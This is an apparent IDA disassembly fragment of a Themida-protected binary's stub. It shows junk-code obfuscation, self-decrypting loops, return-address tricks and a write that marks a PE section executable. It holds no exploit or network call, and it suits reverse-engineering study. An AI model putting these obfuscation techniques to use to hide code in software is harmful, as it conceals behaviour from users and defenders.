		dd 0F2AFBB7Bh, 4141AECAh, 0E0FF212h, 0B8F71D32h
; ---------------------------------------------------------------------------


loc_5B62F4:				; CODE XREF: Themida_:005B62DDj
		jl	locret_5B6312
		jmp	locret_5B6312
; ---------------------------------------------------------------------------
		db 60h
		dd 612EEBE7h, 5281C675h, 0B173519Ah, 78FDAC27h
		db 87h,	56h
; ---------------------------------------------------------------------------

locret_5B6312:				; CODE XREF: Themida_:loc_5B62F4j
					; Themida_:005B62FAj
		retn
; ---------------------------------------------------------------------------
		ja	loc_5B632C
		jmp	loc_5B632C
; ---------------------------------------------------------------------------
		dw 0EA6Bh
		dd 0FB840491h, 95FE47CFh, 2DEC9E19h
; ---------------------------------------------------------------------------


loc_5B632C:				; CODE XREF: Themida_:005B6313j
					; Themida_:005B6319j
		push	ecx
		clc
		push	edx
		jmp	loc_5B6340
; ---------------------------------------------------------------------------
		dd 9D8A60FBh, 961CE9D0h, 7136BC34h
; ---------------------------------------------------------------------------


loc_5B6340:				; CODE XREF: Themida_:005B632Fj
		call	$+5
		pop	edx
		sub	edx, 6AEC938h
		jmp	loc_5B6365
; ---------------------------------------------------------------------------
		db 54h,	0FBh, 7Fh
		dd 8E65AFC4h, 7B2E251Eh, 886E188Bh, 2CC30D04h
; ---------------------------------------------------------------------------
		scasb


loc_5B6365:				; CODE XREF: Themida_:005B634Cj
		clc
		pusha
		mov	edi, esi
		jge	loc_5B6372
		movzx	edi, ax


loc_5B6372:				; CODE XREF: Themida_:005B6369j
		popa
		mov	ecx, eax
		jge	loc_5B6383
		jnb	loc_5B6383
		pusha
		popa


loc_5B6383:				; CODE XREF: Themida_:005B6375j
					; Themida_:005B637Bj
		call	near ptr dword_5B5C40+5DDh


loc_5B6388:				; CODE XREF: Themida_:005B63B4j
		jo	loc_5B6396
		jns	loc_5B6396
		pusha
		popa


loc_5B6396:				; CODE XREF: Themida_:loc_5B6388j
					; Themida_:005B638Ej
		xor	edx, edx
		cmc
		div	ecx
		stc
		mov	eax, edx
		jmp	loc_5B63B6
; ---------------------------------------------------------------------------
		db 8Eh
		dd 7D2D72C1h, 21538D7Dh, 0E4B4753Fh, 9BB32C96h
; ---------------------------------------------------------------------------
		jmp	short loc_5B6388
; ---------------------------------------------------------------------------


loc_5B63B6:				; CODE XREF: Themida_:005B639Ej
		pop	edx
		pusha
		or	dh, 46h
		popa
		pop	ecx
		pusha
		jmp	loc_5B63CA
; ---------------------------------------------------------------------------
		db 1
		dd 0B9B47874h
		db 5Dh,	0E5h
; ---------------------------------------------------------------------------


loc_5B63CA:				; CODE XREF: Themida_:005B63BEj
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		push	ebx
		movsx	edi, bx
		pop	ebx
		add	esi, 5BC5990Ah
		popa
		mov	eax, eax
		cld
		mov	eax, eax
		jmp	loc_5B63EA
; ---------------------------------------------------------------------------
		db 0C1h
		dd 6262B61Eh
		db 96h,	22h
; ---------------------------------------------------------------------------


loc_5B63EA:				; CODE XREF: Themida_:005B63DEj
		lea	eax, [ebp+6AE9220h]
		stc
		call	eax
		cmc
		mov	ax, cx
		clc
		lea	eax, [ebp+6AEC810h]
		jmp	loc_5B640E
; ---------------------------------------------------------------------------
		db 8
		dd 2AF7FF0Dh, 7AEFC43Fh
		db 0F8h, 0BCh
; ---------------------------------------------------------------------------


loc_5B640E:				; CODE XREF: Themida_:005B63FEj
		mov	[ebp+6A800B5h],	eax
		jmp	loc_5B6428
; ---------------------------------------------------------------------------
		db 0B9h, 3Bh, 0D4h
		dd 93FB78C1h, 6A74AB0Ch, 463AC2F5h
; ---------------------------------------------------------------------------


loc_5B6428:				; CODE XREF: Themida_:005B6414j
		lea	eax, [ebp+6AEC91Fh]
		cld
		mov	[ebp+6A808DDh],	eax
		pusha
		jl	loc_5B643D
		stc


loc_5B643D:				; CODE XREF: Themida_:005B6436j
		pusha
		mov	ah, 89h
		sub	eax, 38431566h
		popa
		popa
		mov	eax, 0
		jmp	loc_5B6464
; ---------------------------------------------------------------------------
		xor	bh, dl
		sbb	al, 0D9h
		mov	edx, 28853519h
		pop	esi
		test	cl, 0C5h
		sbb	eax, 793F7520h


loc_5B6464:				; CODE XREF: Themida_:005B644Dj
		or	eax, eax
		jz	loc_5B65D3
		jmp	loc_5B6479
; ---------------------------------------------------------------------------
		db 0D2h, 0C2h, 41h
		dd 182DEF8Dh
		db 30h
; ---------------------------------------------------------------------------


loc_5B6479:				; CODE XREF: Themida_:005B646Cj
		mov	byte ptr [ebp+6A815D5h], 56h
		stc
		push	0A9C530DFh
		jle	loc_5B6494
		jge	loc_5B6494
		pusha
		popa


loc_5B6494:				; CODE XREF: Themida_:005B6486j
					; Themida_:005B648Cj
		jmp	loc_5B64AC
; ---------------------------------------------------------------------------
		db 2, 40h, 5Ch
		dd 1BE3A7E7h, 39DBA1B5h, 6F75D079h, 8D4D4734h
; ---------------------------------------------------------------------------


loc_5B64AC:				; CODE XREF: Themida_:loc_5B6494j
		push	dword ptr [ebp+6A80F95h]
		jmp	loc_5B64C9
; ---------------------------------------------------------------------------
		db 9Bh
		dd 7FBD0C2Dh, 25A11716h, 96C72967h, 0E8A0187Dh
; ---------------------------------------------------------------------------
		popf


loc_5B64C9:				; CODE XREF: Themida_:005B64B2j
		lea	eax, [ebp+6AB6971h]
		pusha
		mov	ebx, edi
		mov	dh, 91h
		popa
		call	eax
		jmp	loc_5B64E3
; ---------------------------------------------------------------------------
		mov	edx, 5FF4B5A4h
		xchg	eax, edx
		aas


loc_5B64E3:				; CODE XREF: Themida_:005B64D7j
		push	eax
		jp	loc_5B64EB
		stc


loc_5B64EB:				; CODE XREF: Themida_:005B64E4j
		lea	ecx, [ebp+6A82CD9h]
		jp	loc_5B650B
		pusha
		jmp	loc_5B6504
; ---------------------------------------------------------------------------
		db 30h,	0A6h, 9Ah
		dd 7AE0224Dh
; ---------------------------------------------------------------------------


loc_5B6504:				; CODE XREF: Themida_:005B64F8j
		or	edx, 42502C53h
		popa


loc_5B650B:				; CODE XREF: Themida_:005B64F1j
		push	ecx
		jmp	loc_5B651A
; ---------------------------------------------------------------------------
		db 0D3h, 0BFh, 0C5h
		dd 0D10A6573h
		db 0CDh, 18h
; ---------------------------------------------------------------------------


loc_5B651A:				; CODE XREF: Themida_:005B650Cj
		push	4
		jmp	loc_5B6530
; ---------------------------------------------------------------------------
		shr	byte ptr [ebp+ecx*4+6Ch], 1
		cmp	[ebp+61h], ah
		add	bh, [ecx+0A59FE23h]
		popf
		push	eax


loc_5B6530:				; CODE XREF: Themida_:005B651Cj
		cmc
		push	1000h
		stc
		push	dword ptr [ebp+6A831D5h]
		cmc
		call	eax
		jge	loc_5B6570
		pusha
		jmp	loc_5B6558
; ---------------------------------------------------------------------------
		dd 0D452E3D0h, 7F4B18DEh, 0B0B1F294h
; ---------------------------------------------------------------------------


loc_5B6558:				; CODE XREF: Themida_:005B6547j
		jmp	loc_5B656F
; ---------------------------------------------------------------------------
		db 0A0h, 47h, 0E9h
		dd 793252A9h, 8355A05Bh, 0F40E79DFh
		db 1Eh,	0F3h, 0CAh
; ---------------------------------------------------------------------------


loc_5B656F:				; CODE XREF: Themida_:loc_5B6558j
		popa


loc_5B6570:				; CODE XREF: Themida_:005B6540j
		mov	edi, [ebp+6A831D5h]
		cld
		add	edi, [edi+3Ch]
		jmp	loc_5B6592
; ---------------------------------------------------------------------------
		db 68h
		dd 8BDB6B28h, 4CB56CB8h, 7817E7CCh, 3750B4C1h
; ---------------------------------------------------------------------------
		fxch7	st(5)


loc_5B6592:				; CODE XREF: Themida_:005B657Aj
		add	edi, 0F8h
		cmc
		mov	dword ptr [edi+24h], 60000020h
		jmp	loc_5B65B7
; ---------------------------------------------------------------------------
		db 0C4h, 0E5h, 26h
		dd 71C66537h, 0E9DCB85Bh, 0BD8393A0h
; ---------------------------------------------------------------------------
		pushf
		push	ebp
		cmpsd


loc_5B65B7:				; CODE XREF: Themida_:005B65A0j
		jl	loc_5B65D3
		jle	loc_5B65D3
		jmp	loc_5B65D3
; ---------------------------------------------------------------------------
		dd 0E5482D9Fh, 4F88EF62h
		db 0BCh, 3, 47h
; ---------------------------------------------------------------------------


loc_5B65D3:				; CODE XREF: Themida_:005B6466j
					; Themida_:loc_5B65B7j	...
		lea	ebx, [ebp+6A82065h]
		jmp	loc_5B65EB
; ---------------------------------------------------------------------------
		cmc
		test	al, 0A0h
		pop	eax
		add	al, 0DDh
		xchg	eax, ebx
		scasb
		test	al, 73h
		pop	esi
		scasd
		pop	ds


loc_5B65EB:				; CODE XREF: Themida_:005B65D9j
		mov	eax, [ebx]
		jp	loc_5B65F4
		clc


loc_5B65F4:				; CODE XREF: Themida_:005B65EDj
		or	eax, eax
		jz	loc_5B661A
		pusha
		mov	al, 0F9h
		jmp	loc_5B660C
; ---------------------------------------------------------------------------
		dd 1A3B97D9h, 32E06A11h
; ---------------------------------------------------------------------------


loc_5B660C:				; CODE XREF: Themida_:005B65FFj
		popa
		mov	eax, [eax]
		cmc
		mov	[ebx+4], eax
		pusha
		mov	bh, dh
		movsx	edi, bx
		popa


loc_5B661A:				; CODE XREF: Themida_:005B65F6j
		mov	ecx, 234CF6h
		call	sub_5B6632
		stosd
		arpl	[ecx], cx
		push	es
		push	edi
		cmp	[ebp-2E5AE6F6h], edi
		push	ss
		inc	ecx
		cdq

; =============== S U B	R O U T	I N E =======================================



sub_5B6632	proc near		; CODE XREF: Themida_:005B661Fp
		pop	esi
		jp	loc_5B663D
		mov	bx, 0ED81h


loc_5B663D:				; CODE XREF: sub_5B6632+1j
		add	esi, 5EF8h
		mov	di, bx
		xor	ecx, ecx
		mov	bl, ch


loc_5B664A:				; CODE XREF: sub_5B6632+71j
		push	dword ptr [ecx+esi]
		mov	edx, 10079E7h
		pop	eax
		jo	$+6
		xor	eax, 22531AFDh
		pusha
		mov	bx, 4084h
		popa
		add	eax, 350AB6A6h
		adc	bx, 4C7h
		sub	eax, 312F660Dh
		mov	dx, cx
		mov	[esi+ecx], eax
		mov	edx, eax
		push	ebx
		adc	ebx, 3F16C0D7h
		pop	ebx
		sub	ecx, 33354F2Bh
		or	ebx, 79205CFCh
		add	ecx, 33354F27h
		mov	ebx, 5CB5D9BFh
		cmp	ecx, 0FFFFA18Ch
		jnz	loc_5B664A
		add	dl, 62h
		lea	ecx, [ebp+6AECD36h]
		mov	edx, [ebp+6A81F89h]
		mov	[ebp+6A805B9h],	ecx
		mov	bl, 0E4h
		mov	dword ptr [ebp+6A81469h], 6498h
		mov	edx, [ebp+6A82A9Dh]
		mov	dword ptr [ebp+6A80BBDh], 0
		push	0
		push	ebp
		call	sub_5B66E5
		and	[ebp-3Dh], bl
sub_5B6632	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B66E5	proc near		; CODE XREF: sub_5B6632+ABp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5B66E5	endp

; ---------------------------------------------------------------------------
		adc	bh, [eax-1]
		mov	ch, 61h
		adc	eax, 6A06A8h
		push	eax
		call	sub_5B6708
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6708	proc near		; CODE XREF: Themida_:005B6700p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5B6708	endp

; ---------------------------------------------------------------------------
		dd 0AE4AB809h, 9E9h, 2CDF9000h,	0EAA00A4Ah, 0B5295A78h
		dd 6A82889h, 20DD95FFh,	950306A8h, 6A82A89h, 95FF006Ah
		dd 6A81B31h, 0BEBC08Bh,	45A64512h, 0BF6198F2h, 8DC2E6C3h
		dd 0AECE0C8Dh, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0BAA35F4Bh, 0DA81662Bh
		dd 8D8967D2h, 6A805B9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 2AC35040h, 77C816B6h,	8D9D8Bh, 85C706A8h
		dd 6A81469h, 7364h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0AFC35040h, 8A3AB6E6h, 0BD85C7FCh, 6A80Bh
		dd 0F000000h, 0B5FFF1B7h, 6A82A11h, 0AE22BB66h,	20DD95FFh
		dd 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 264FF2C3h, 6A7B99h, 1B3195FFh, 0C08B06A8h
		dd 1FFB0DEBh, 0EC0373BBh, 9DA96A20h, 0E805DB4Dh, 7, 0DF317A8h
		dd 0B30594C8h, 30B95E0Eh, 8138AB0Dh, 6C7DC6h, 25BD8900h
		dd 6806A816h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+6A826B1h],	esi
		pop	eax
		add	[ebp+6A82A91h],	eax


loc_5B685D:				; CODE XREF: Themida_:005B68BCj
		mov	edi, [esi+eax]
		jmp	loc_5B686D
; ---------------------------------------------------------------------------
		db 0F9h, 7Bh, 0BCh
		dd 6C09598Fh
		db 34h
; ---------------------------------------------------------------------------


loc_5B686D:				; CODE XREF: Themida_:005B6860j
		add	edi, 2E87E64Bh
		cmc
		add	edi, 0FBB1923h
		or	edx, [ebp+6A83435h]
		xor	edi, 6B159250h
		mov	ecx, [ebp+6A815EDh]
		push	edi
		mov	ecx, [ebp+6A82E89h]
		pop	dword ptr [esi+eax]
		mov	dl, 74h
		jb	loc_5B68A1
		mov	dx, cx


loc_5B68A1:				; CODE XREF: Themida_:005B6898j
		sub	eax, 3B8BC088h
		mov	[ebp+6A802A9h],	esi
		add	eax, 3B8BC084h
		movzx	ecx, ax
		cmp	eax, 0FFFF9414h
		jnz	loc_5B685D
		mov	cx, ax
		lea	ecx, [ebp+6AECF3Eh]
		jmp	loc_5B68E2
; ---------------------------------------------------------------------------
		dd 3CE71B25h, 9E8AE308h, 54C1C5Fh, 0B6B010A8h
; ---------------------------------------------------------------------------
		sbb	al, 0F5h


loc_5B68E2:				; CODE XREF: Themida_:005B68CBj
		mov	[ebp+6A805B9h],	ecx
		mov	[ebp+6A801A9h],	ebx
		mov	esi, 5C342095h
		mov	dword ptr [ebp+6A81469h], 5958h
		mov	ax, di
		mov	dword ptr [ebp+6A80BBDh], 0
		push	0
		push	ebx
		call	sub_5B6915
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6915	proc near		; CODE XREF: Themida_:005B690Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5B6915	endp

; ---------------------------------------------------------------------------
		or	ecx, edi
		xlat
		inc	esi
		lodsb
		xchg	eax, edx
		mov	si, 19E8h
		push	dword ptr [ebp+6A814A1h]
		mov	edx, edi
		call	dword ptr [ebp+6A820DDh]
		jns	loc_5B6944
		cmc


loc_5B6944:				; CODE XREF: Themida_:005B693Dj
		push	0
		call	dword ptr [ebp+6A81B31h]
		mov	eax, eax
		jmp	short loc_5B6979
; ---------------------------------------------------------------------------
		dd 8D437B26h, 2146C2C9h, 50F5F0B4h, 68C2638Eh, 0B1C439DCh
		dd 61236A52h, 3A6EDA50h, 0A8DC299Ah, 3E19201h, 4051C91Ah
; ---------------------------------------------------------------------------
		push	ebp


loc_5B6979:				; CODE XREF: Themida_:005B694Ej
		jmp	loc_5B69A0
; ---------------------------------------------------------------------------
		dw 6F68h
		dd 2B48h, 7 dup(0)
; ---------------------------------------------------------------------------


loc_5B69A0:				; CODE XREF: Themida_:loc_5B6979j
		jmp	loc_5B6E73
; ---------------------------------------------------------------------------
		push	6AED07Eh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AED0EAh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AED22Fh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 49h
		dd 8023672Eh, 0AF1096D3h, 0D97AC089h, 9AAF0B5h,	1AE12568h
		dd 0D79ABB57h, 34EF053h, 31781C87h, 622B4AF5h, 609A4024h
		dd 0B606A628h, 24B6DC1Ah, 7429C329h, 8E950358h,	0F99B5EFFh
		dd 8523C7B0h, 57D74743h, 86123DAFh, 90D97C25h, 0B803B10Ah
		dd 0E155F802h, 42FB5FFh, 0E1575F9Fh, 9873B5FFh,	0DC2F1B17h
		dd 0CE1477h, 51000003h,	43F12201h, 51B8C2F8h, 33B5FFEDh
		dd 9766A018h, 14B36553h, 36F393A0h, 0C2DB5815h,	7A5344E9h
		dd 84F33A4Ch, 66D1BA0Dh, 67DC7039h, 0BFC03943h,	54A6C0B5h
		dd 1706F858h, 0CC72A629h, 0F3194763h, 0B5C45149h, 901833C0h
		dd 0E1256C0Fh, 0B2561F3Eh, 0E875A4F6h, 4AA8199Ah, 81000003h
		dd 0B81BAFE6h, 0E748DE9Bh, 11B20841h, 41E2387Dh, 52D96D20h
		dd 1F52F31Fh, 4B06288Bh, 793054FFh, 0AAE3822Dh,	2852881Ch
		dd 0B606A6F0h, 0E7AF94D2h, 0AED80EB5h, 0B606A6DBh, 4B02228Dh
		dd 0DD63B5E6h, 8F1459FAh, 9E01A59Eh, 0CFCB7DFDh, 0B5B606A6h
		dd 0BA65A19Ah, 8F4FD499h, 0B606A786h, 91377E1Dh, 0F324C1D1h
		dd 0DE1FE0C3h, 15000002h, 44EF3B72h, 73DC6A2Fh,	0A50E9CD5h
		dd 0D57ECC89h, 26ADF9B4h, 93DE7F93h, 0C78AAC17h, 0F5BCE043h
		dd 266F0EB1h, 0A4E604E0h, 0B606A764h, 0E733185Eh, 4DBAEFB5h
		dd 722DE3B8h, 0DCC76D99h, 7BACF1B8h, 8F602B3Dh,	922B607h
		dd 8F62A2A4h, 2341B607h, 395CC56Ah, 0DC723370h,	149D3699h
		dd 0EFB01B85h, 706AF7E3h, 76903E14h, 0B6079732h, 0A6C62710h
		dd 0CF6942EFh, 1BE0Dh, 5CFF1600h, 6F0EF115h, 0A28F926h
		dd 16B0564Fh, 0AF57D712h, 72D147F0h, 4FDB92B1h,	0C7E358FCh
		dd 9FB85F99h, 0D9FF3AA6h, 0D66895Fh, 7B5CB600h,	110A97DAh
		dd 3373FB38h, 70B6000Dh, 216409C8h, 6DB2ABFCh, 5BD891B4h
		dd 13A203F8h, 7D7D268Dh, 1477E481h, 2064h, 0B5E7BF00h
		dd 4FAED80Eh, 35B60005h, 5155951Ah, 6DB60005h, 211D1D86h
		dd 0C41477F8h, 0AAh, 155CFF5Fh,	3B761788h, 470E2DF6h, 632A49DAh
		dd 0DBBF2527h, 57A1AF57h, 5F544526h, 0F5BAFE25h, 308B1F56h
		dd 7983279Ch, 0B6036756h, 0B9E7032Ch, 66B1E913h, 0B893B603h
		dd 0C16E2B47h, 0BEDF40E8h, 0BD96DB7Bh, 0E8A5C669h, 28026C30h
		dd 368F2CF3h, 199h, 5AE0A9D0h, 951154F9h, 0C3470E2Ah, 33773260h
		dd 64A2EF90h, 1738DA9Fh, 0C363CC5Ah, 0F597388Eh, 0A6C56EBCh
		dd 19C35BEFh, 6A8ABEFh,	0F45399B6h, 0ACDE5EFFh,	0AF57D76Ch
		dd 92963056h, 70AF57D7h, 0B1F5EEC7h, 8AAE6F0Eh,	0A6C55EC3h
		dd 891DF6EFh, 95DC8063h, 5CFF1803h, 68B5F09Dh, 0DD9463Fh
		dd 0A28CB4CBh, 0A008D169h, 0AED85CFFh, 0AF581C6Ah, 90883258h
		dd 72AF581Ch, 716E0D9h,	16957721h, 11FF4B24h, 80A9D2C7h
		dd 0BD5EDB20h, 63825C3Fh, 0F391F214h, 0F42475BAh, 8C3A8133h
		dd 28E97Ah, 4A70DBB6h, 6185C869h, 2989813Bh, 0D07BB600h
		dd 0AB14F258h, 4059C68Bh, 29161EE8h, 0EE8DB600h, 0F2A003A7h
		dd 4AFC6AB7h, 0B600294Eh, 0F6221B34h, 2E82A30Ch, 5FA436B6h
		dd 0FE4FE11h, 9374FB7h,	9A40EDC6h, 0E3CECA7Ch, 9BB4B5FFh
		dd 0A7B21Dh, 0E7950000h, 0AED80EB5h, 0B606A6D7h, 841D82ADh
		dd 0F872A8E1h, 886B87EBh, 3B8117E0h, 77BCF598h,	0ECC852F7h
		dd 7B3251E3h, 84C16D36h, 5EC7B41Fh, 46EF5CDFh, 0C2B41C3Fh
		dd 70BAB0A9h, 0D537A5B8h, 221BA07Ch, 0AC17FD49h, 0C956C287h
		dd 0D40F02AAh, 18E1D963h, 88A3E3ECh, 559EC67Eh,	0C06E377Ch
		dd 4D266F0Dh, 5B123699h, 8D0DC5D6h, 0DE4ECD1Ah,	47D84BEDh
		dd 61C26F2Ah, 252489CCh, 69A82788h, 0B9DCE34Ch,	0A59EDB78h
		dd 0B4F19E01h, 16359E64h, 0F306892h, 3912E3ECh,	9C07E340h
		dd 3F68B5FCh, 316F9h, 0B0310000h, 1158FFCBh, 3970138Ch
		dd 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h
		dd 0CD84A47Dh, 0D792BF60h, 1E68FA4Ah, 89000017h, 8956241Ch
		dd 4C681E6h, 83000000h,	348704EEh, 0C895C24h, 0E2895224h
		dd 4C281h, 0EA830000h, 24148704h, 2434895Ch, 2CBD5553h
		dd 890EE474h, 8AB95DEBh, 1F7CA5Bh, 8B545BD9h, 0C4832434h
		dd 4EC8104h, 89000000h,	468F240Ch, 2434FF08h, 4C4815Eh
		dd 0FF000000h, 81592434h, 4C4h,	0A968E900h, 1C46FFF9h
		dd 88801D65h, 0E0C55A16h
		db 87h,	8Eh, 68h
; ---------------------------------------------------------------------------


loc_5B6E73:				; CODE XREF: Themida_:loc_5B69A0j
		mov	eax, 6AED3EDh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 38587552h, 4D608A65h, 59E7B33h, 32455EACh, 78B43489h
		dd 0A83F0Bh, 11C7EB91h,	4D3C773Bh, 7D58464Ch, 956871Ah
		dd 11BC5B1Ch, 5341F4F9h, 7CBBCA4Eh, 3A973053h, 2C632A78h
		dd 321A2C8Dh, 1BC060A0h, 34964E57h, 5048FD23h, 756CBE7Ch
		dd 5AFFA28Fh, 1DFD9F19h, 45E454B0h, 0CE9h, 94705400h, 4Fh
		dd 0
		dd 0B5BE900h, 91680000h, 0E906AED6h, 0FFFA7160h, 0AED76A68h
		dd 7156E906h, 3368FFFAh, 0E906AED9h, 0FFFA714Ch, 0AEDA0F68h
		dd 7142E906h, 0A668FFFAh, 0E906AEDBh, 0FFFA7138h, 0AEDD6F68h
		dd 712EE906h, 8868FFFAh, 0E906AEDEh, 0FFFA7124h, 527389F5h
		dd 0DFFC0A7Ch, 6300FCEBh, 0ED8E726Fh, 7A1BE199h, 87E39BD3h
		dd 7C6A587Dh, 0F8EDE182h, 601B6F0Ch, 8ACDF794h,	0F2BCC68h
		dd 11008958h, 8E7A139Fh, 0F8BB473Ch, 31E5114Ah,	3A5457AEh
		dd 8DC869EFh, 0CA4D2CD8h, 0DAFB0F78h, 0C82A36D3h, 5EA14CACh
		dd 9FC4B6E9h, 8F6EB363h, 0A6067C72h, 0A14C2844h, 5B3A655Eh
		dd 5AA766CBh, 0F941C138h, 0A373B25Bh, 0F96DD101h, 0E8A76BA7h
		dd 1FA5E006h, 8CBFC656h, 0A9FE3724h, 3A9D6A2Dh,	0A2000000h
		dd 81BEFCE5h, 0F9E25861h, 683A655Bh, 0F62C1AB6h, 0FC0278A7h
		dd 1CE2982Eh, 48B458Eh,	0DEF1812Dh, 0BF552A9h, 98DA6F22h
		dd 2F577119h, 0EC47561Eh, 6000000h, 6629DD88h, 4DB9D277h
		dd 0E51F4BD9h, 7C88E331h, 6993CFC3h, 0F5E634A6h, 95F2C001h
		dd 0B574B569h, 0B254AFD0h, 0DD80560h, 14F628EBh, 0CE5EA126h
		dd 3B44699Dh, 1B0290C0h, 6D2C69DFh, 2D3EAED9h, 52659ABFh
		dd 0BC47D7B6h, 0A9F31B7Bh, 67BE5EA1h, 9110E497h, 92AFED0Ah
		dd 0BD275D51h, 0E6A90D22h, 0E7A6099Ch, 0F91B223Bh, 4AACED5Bh
		dd 0A7F92022h, 0EE75346Fh, 6A9716B7h, 0B4D61728h, 0A7F92018h
		dd 0B64BCA55h, 0A0819054h, 68E61DA2h, 251EDFAFh, 0F9F50AEDh
		dd 645A7B81h, 5124867Ch, 853F8C47h, 8DFBE17h, 23430000h
		dd 94C6B4D9h, 164D4162h, 8CF5C9EAh, 37F5370h, 3D31D4F9h
		dd 0BEDF255Dh, 4F6C92C8h, 0D5F6027Bh, 6102F6E1h, 52FA1C23h
		dd 1F580F28h, 0B6D2BF92h, 423FB34Ch, 235EECBEh,	0BEA4FDFh
		dd 0E497EB88h, 0E5BC7310h, 6181BEFCh, 5BF9E258h, 59BE2965h
		dd 0E64BDB21h, 0B3129707h, 2C91C1E3h, 672BA7F6h, 0E0A0C628h
		dd 7F86561Eh, 1B6E30E5h, 0BC4DCC47h, 0CBh, 4DB9D285h, 55349B4h
		dd 0BE7991E0h, 0A1D96FFFh, 565A65Bh, 5EA145E9h,	28BA7DA4h
		dd 0A14214F6h, 699DCE5Eh, 0F1057644h, 0BBD83550h, 33BB0C6Fh
		dd 7E9BE270h, 0FAE3033Ch, 0B75BF93Ch, 0A34C4F6Ch, 8B6A94F2h
		dd 0CE671476h, 0C64CA2A0h, 41FE6195h, 0CEEF154Dh, 987A80F8h
		dd 3F8C38D3h, 6EC61F3h,	0B8000008h, 299D3EC4h, 562449BFh
		dd 0C2B0D529h, 443A5BA7h, 26C5E61Ch, 0CE34AC4Eh, 5DA3D9ADh
		dd 0E7134A38h, 7387F0C6h, 8DED3252h, 580F2961h,	9FCCE32Ch
		dd 1C8E7A13h, 30A81A9Dh, 6D98A9CAh, 6835A7A6h, 0AA189B45h
		dd 57ABD631h, 63304BF4h, 608CEE22h, 2D5EA1DEh, 9FF277F2h
		dd 63F71F7Fh, 63C25EA1h, 0A9553280h, 9F9285E6h,	0A8D7713h
		dd 63BCFB8h, 682BDF88h,	9933A4FAh, 0A1FEDD79h, 0FF6D985Eh
		dd 1BCC4C0Ah, 0CCF15033h, 0DD6220C9h, 586C619Ch, 0A8C25BDBh
		dd 0A1C61EB6h, 0DC85B5Eh, 0AD63FCD4h, 26DB5AC7h, 0F96C45C4h
		dd 47D74E5Bh, 0CD7286F1h, 77C26A8Ch, 148FA7F9h,	0E982F095h
		dd 1A57891Dh, 1E24BB68h, 0C73E4946h, 234C761Bh,	737F7441h
		dd 5C9FA9ACh, 1A4DC140h, 0AF7F85FDh, 0B40AAB0Ah, 0BD6737C3h
		dd 2CB3B014h, 94AEE1B7h, 7617E3h, 109EA357h, 1CE88366h
		dd 9768FABDh, 0D235816Ch, 31CD395Eh, 0BC67E239h, 4E9013D1h
		dd 67595E5Fh, 91ABE494h, 0A05401E6h, 0AFCCAFF2h, 0C654A0DBh
		dd 27D89A47h, 0E8C80EC7h, 127C8B29h, 32AD45C9h,	6C629F7Eh
		dd 680D8C7Ah, 7986C42Dh, 36C0BA38h, 31E51144h, 0DCF131F0h
		dd 0A9309399h, 0D77AA476h, 6F3A63EBh, 0EC0AE4ABh, 0FAC18927h
		dd 0A3738FF4h, 0A14ABF7Eh, 0D7000003h, 38F850Dh, 0BED5F868h
		dd 5E5D8D06h, 50B93CFFh, 308DED12h, 0FD5BF9CCh,	5332C6B1h
		dd 0A1DCB4B6h, 608926C4h, 0C0FD1D22h, 0AD23B33Ah, 245FA072h
		dd 0B6FF5644h, 47C24512h, 609CCB9Ah, 0FD097CB2h, 46298829h
		dd 26C859B9h, 0BAE52A56h, 0AA5E0985h, 36C2B509h, 0D7BB1554h
		dd 42B321A7h, 63Dh, 6607FDE1h, 0F3906610h, 7F1CE09Fh, 1A25E0Bh
		dd 8E2FD58Dh, 0EB9787EFh, 601E6C11h, 0DC89FD9Eh, 44378B28h
		dd 0AEF113B0h, 0F27204Ch, 0D246D58h, 81BEFCE5h,	0F9D1D861h
		dd 0E8BAE55Bh, 41D5215Ah, 0C0CDC28Eh, 0B3DB3B27h, 0FEA7F633h
		dd 0BAEDA0A7h, 4D23BA7Eh, 743555EAh, 5BA2AE08h,	8EEE3D20h
		dd 20E3FE30h, 105D06BDh, 0BCCB430Ah, 8A6D91CEh,	16E295E9h
		dd 5AF0E5E9h, 0ECF9C38h, 0E746D9ACh, 926617h, 738C1EA1h
		dd 36F9037Fh, 7727D384h, 457F50E0h, 25C5E612h, 4F764003h
		dd 29FEBh, 5E9F3400h, 0A1FE903Ch, 375FBF5Eh, 825EA1FEh
		dd 62257C23h, 87B8FAE7h, 0FCA99F67h, 36CB5A5Bh,	993AC0B8h
		dd 0D747BD25h, 1ABFFA2Dh, 7F3E4ECh, 730834A7h, 78E1C34h
		dd 561h, 3A5BA1DDh, 0C7E41244h,	4B6894F3h, 0D5F60A77h
		dd 6203F9E1h, 9FCBB3BBh, 14724065h, 80F5C9EAh, 8635774h
		dd 62A5DFFCh, 0F24D400h, 3968A158h, 81BEFCE5h, 0FCA96561h
		dd 5DD1505Bh, 0E00C9CCFh, 0DCC2B33Dh, 0B90DAE11h, 97683ACEh
		dd 91B1466Ch, 42C59812h, 0A31787F0h, 802C4E04h,	0CDA7F03Fh
		dd 29099752h, 0F88F1FFEh, 2A5D6728h, 0BF6F95CDh, 50FA9B7Ah
		dd 56186136h, 1E738h, 0B9D20900h, 4F3EB44Dh, 0C746EBBBh
		dd 6296C157h, 9FFF0041h, 5EA1FE77h, 0A520E342h,	0A1C17E3Ch
